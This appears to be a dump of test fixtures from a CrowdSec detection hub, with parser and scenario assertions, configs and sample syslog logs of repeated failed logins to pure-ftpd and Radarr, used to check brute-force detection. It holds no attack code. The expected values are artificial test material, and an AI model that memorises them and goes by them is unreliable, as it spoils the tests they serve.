results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Parsed["timestamp"] == "Jan 7 14:19:59" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Parsed["timestamp"] == "Jan 7 14:20:01" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Parsed["timestamp"] == "Jan 7 14:20:02" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Parsed["timestamp"] == "Jan 7 14:20:03" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Parsed["timestamp"] == "Jan 7 14:20:05" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s01-parse"]["fulljackz/pureftpd-logs"][15].Success == false len(results["success"][""]) == 0 hub1/.tests/pureftpd-logs/pureftpd-logs.log000066400000000000000000000030261437532772500212460ustar00rootroot00000000000000Jan 7 14:19:31 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:32 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:33 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:34 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:35 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:36 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:37 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:38 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:39 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:49 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:59 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:20:01 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:20:02 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:20:03 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:20:05 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:20:06 ftpcdr pure-ftpd: (?@172.21.10.2) [INFO] user@test.com is now logged in hub1/.tests/pureftpd-logs/scenario.assert000066400000000000000000000000221437532772500207670ustar00rootroot00000000000000len(results) == 0 hub1/.tests/radarr-bf/000077500000000000000000000000001437532772500150145ustar00rootroot00000000000000hub1/.tests/radarr-bf/config.yaml000066400000000000000000000004411437532772500171440ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/schiz0phr3ne/radarr-logs.yaml scenarios: - ./scenarios/schiz0phr3ne/radarr-bf.yaml postoverflows: - "" log_file: radarr-bf.log log_type: syslog labels: {} ignore_parsers: true override_statics: [] hub1/.tests/radarr-bf/parser.assert000066400000000000000000000000001437532772500175210ustar00rootroot00000000000000hub1/.tests/radarr-bf/radarr-bf.log000066400000000000000000000011751437532772500173630ustar00rootroot00000000000000Oct 9 19:34:12 radarr Radarr[33523]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 19:34:13 radarr Radarr[33523]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 19:34:14 radarr Radarr[33523]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 19:34:15 radarr Radarr[33523]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 19:34:16 radarr Radarr[33523]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 19:34:17 radarr Radarr[33523]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 19:34:18 radarr Radarr[33523]: [Info] Auth: Auth-Success ip 1.2.3.5 username 'test' hub1/.tests/radarr-bf/scenario.assert000066400000000000000000000077251437532772500200550ustar00rootroot00000000000000len(results) == 1 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "radarr-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "radarr_failed_authentication" results[0].Overflow.Alert.Events[0].GetMeta("machine") == "radarr" results[0].Overflow.Alert.Events[0].GetMeta("service") == "radarr" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("timestamp")[4:] == "-10-09T19:34:12Z" results[0].Overflow.Alert.Events[0].GetMeta("username") == "'test'" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "radarr-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "radarr_failed_authentication" results[0].Overflow.Alert.Events[1].GetMeta("machine") == "radarr" results[0].Overflow.Alert.Events[1].GetMeta("service") == "radarr" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[1].GetMeta("timestamp")[4:] == "-10-09T19:34:13Z" results[0].Overflow.Alert.Events[1].GetMeta("username") == "'test'" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "radarr-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "radarr_failed_authentication" results[0].Overflow.Alert.Events[2].GetMeta("machine") == "radarr" results[0].Overflow.Alert.Events[2].GetMeta("service") == "radarr" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[2].GetMeta("timestamp")[4:] == "-10-09T19:34:14Z" results[0].Overflow.Alert.Events[2].GetMeta("username") == "'test'" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "radarr-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "radarr_failed_authentication" results[0].Overflow.Alert.Events[3].GetMeta("machine") == "radarr" results[0].Overflow.Alert.Events[3].GetMeta("service") == "radarr" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[3].GetMeta("timestamp")[4:] == "-10-09T19:34:15Z" results[0].Overflow.Alert.Events[3].GetMeta("username") == "'test'" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "radarr-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "radarr_failed_authentication" results[0].Overflow.Alert.Events[4].GetMeta("machine") == "radarr" results[0].Overflow.Alert.Events[4].GetMeta("service") == "radarr" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[4].GetMeta("timestamp")[4:] == "-10-09T19:34:16Z" results[0].Overflow.Alert.Events[4].GetMeta("username") == "'test'" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "radarr-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "radarr_failed_authentication" results[0].Overflow.Alert.Events[5].GetMeta("machine") == "radarr" results[0].Overflow.Alert.Events[5].GetMeta("service") == "radarr" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[5].GetMeta("timestamp")[4:] == "-10-09T19:34:17Z" results[0].Overflow.Alert.Events[5].GetMeta("username") == "'test'" results[0].Overflow.Alert.GetScenario() == "schiz0phr3ne/radarr-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/radarr-logs/000077500000000000000000000000001437532772500153715ustar00rootroot00000000000000hub1/.tests/radarr-logs/config.yaml000066400000000000000000000003771437532772500175310ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/schiz0phr3ne/radarr-logs.yaml - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: radarr-logs.log log_type: syslog labels: {} ignore_parsers: false override_statics: [] hub1/.tests/radarr-logs/parser.assert000066400000000000000000000574771437532772500201340ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 7 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["pid"] == "33523" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["program"] == "Radarr" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["timestamp"] == "Oct 9 19:34:12" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["machine"] == "radarr" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["pid"] == "33523" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["program"] == "Radarr" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["timestamp"] == "Oct 9 19:34:13" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["machine"] == "radarr" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["program"] == "Radarr" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["timestamp"] == "Oct 9 19:34:14" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["pid"] == "33523" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["machine"] == "radarr" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["pid"] == "33523" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["program"] == "Radarr" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["timestamp"] == "Oct 9 19:34:15" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["machine"] == "radarr" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["program"] == "Radarr" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["timestamp"] == "Oct 9 19:34:16" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["pid"] == "33523" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["machine"] == "radarr" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["pid"] == "33523" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["program"] == "Radarr" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["timestamp"] == "Oct 9 19:34:17" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["machine"] == "radarr" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["message"] == "[Info] Auth: Auth-Success ip 1.2.3.5 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["pid"] == "33523" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["program"] == "Radarr" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["timestamp"] == "Oct 9 19:34:18" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["machine"] == "radarr" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_type"] == "file" len(results["s01-parse"]["schiz0phr3ne/radarr-logs"]) == 7 results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Success == true results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["program"] == "Radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["pid"] == "33523" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["timestamp"] == "Oct 9 19:34:12" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Meta["machine"] == "radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Meta["service"] == "radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Meta["log_type"] == "radarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Success == true results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["program"] == "Radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["pid"] == "33523" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["timestamp"] == "Oct 9 19:34:13" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Meta["log_type"] == "radarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Meta["machine"] == "radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Meta["service"] == "radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][2].Success == true results["s01-parse"]["schiz0phr3ne/radarr-logs"][2].Evt.Parsed["pid"] == "33523" results["s01-parse"]["schiz0phr3ne/radarr-logs"][2].Evt.Parsed["timestamp"] == "Oct 9 19:34:14" results["s01-parse"]["schiz0phr3ne/radarr-logs"][2].Evt.Parsed["program"] == "Radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][2].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/radarr-logs"][2].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/radarr-logs"][2].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][2].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/radarr-logs"][2].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][2].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s01-parse"]["schiz0phr3ne/radarr-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/radarr-logs"][2].Evt.Meta["log_type"] == "radarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/radarr-logs"][2].Evt.Meta["machine"] == "radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][2].Evt.Meta["service"] == "radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][3].Success == true results["s01-parse"]["schiz0phr3ne/radarr-logs"][3].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][3].Evt.Parsed["pid"] == "33523" results["s01-parse"]["schiz0phr3ne/radarr-logs"][3].Evt.Parsed["program"] == "Radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][3].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/radarr-logs"][3].Evt.Parsed["timestamp"] == "Oct 9 19:34:15" results["s01-parse"]["schiz0phr3ne/radarr-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/radarr-logs"][3].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][3].Evt.Meta["service"] == "radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][3].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/radarr-logs"][3].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][3].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s01-parse"]["schiz0phr3ne/radarr-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/radarr-logs"][3].Evt.Meta["log_type"] == "radarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/radarr-logs"][3].Evt.Meta["machine"] == "radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][4].Success == true results["s01-parse"]["schiz0phr3ne/radarr-logs"][4].Evt.Parsed["pid"] == "33523" results["s01-parse"]["schiz0phr3ne/radarr-logs"][4].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/radarr-logs"][4].Evt.Parsed["timestamp"] == "Oct 9 19:34:16" results["s01-parse"]["schiz0phr3ne/radarr-logs"][4].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/radarr-logs"][4].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][4].Evt.Parsed["program"] == "Radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][4].Evt.Meta["service"] == "radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][4].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/radarr-logs"][4].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][4].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s01-parse"]["schiz0phr3ne/radarr-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/radarr-logs"][4].Evt.Meta["log_type"] == "radarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/radarr-logs"][4].Evt.Meta["machine"] == "radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][5].Success == true 